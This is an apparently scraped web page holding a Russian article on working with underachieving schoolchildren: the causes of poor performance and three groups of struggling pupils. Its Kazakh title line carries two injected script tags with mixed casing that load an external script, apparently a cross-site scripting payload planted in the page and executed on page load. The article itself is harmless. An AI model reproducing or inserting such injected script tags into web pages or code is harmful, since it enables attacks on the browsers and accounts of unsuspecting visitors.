Нашар орындаушылармен жұмыс істеу<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

08.04.2019

Работа со слабоуспевающими детьми: как повысить качество знаний школьников?

 

Ни один психически здоровый ребенок не хотел бы отставать от сверстников. Но постоянные неудачи окончательно отбивают желание учиться. Школьники начинают искать товарищей, при общении с которыми они не чувствуют себя «за бортом». Задача педагогов — грамотно организовать работу со слабоуспевающими детьми, обеспечивая им поддержку и помогая справиться с трудностями.

Чтобы побороть неуспеваемость, надо знать ее истоки. Их анализ — основной метод разработки способов предотвращения проблем с учебой. Причины отставания:

• Пропуск занятий.
• Отсутствие желания изучать предмет.
• Необъективное оценивание во время урока.
• Сложность материала.
• Недостаточные способности ребенка.
• Пробелы в воспитании.
• Отсутствие элементарных организационных навыков.
• Чересчур объемные домашние задания.
• Невнимательность педагога.
• Неэффективность урока.
• Ученик не уделяет должного внимание работе дома.
• Низкая активность во время занятий.
• Отсутствие условий для успешного обучения (дети из асоциальных семей).

Читайте также статьи: 12 причин плохой учебы школьников и Почему дети не хотят учиться?

Каждого неуспевающего школьника можно отнести к одной из трех групп:

• Дети с низким качеством мышления, которые положительно относятся к учебе и статусу школьника.
• Ученики с достаточным уровнем развития мыслительной деятельности. При этом они негативно относятся к процессу усвоения знаний. Такие дети частично или полностью потеряли позицию человека, причастного к школе.
• Школьники со слабо развитым мышлением и отрицательным отношением к обучению. Они полностью сдали свои позиции, стремятся оставить учебное заведение.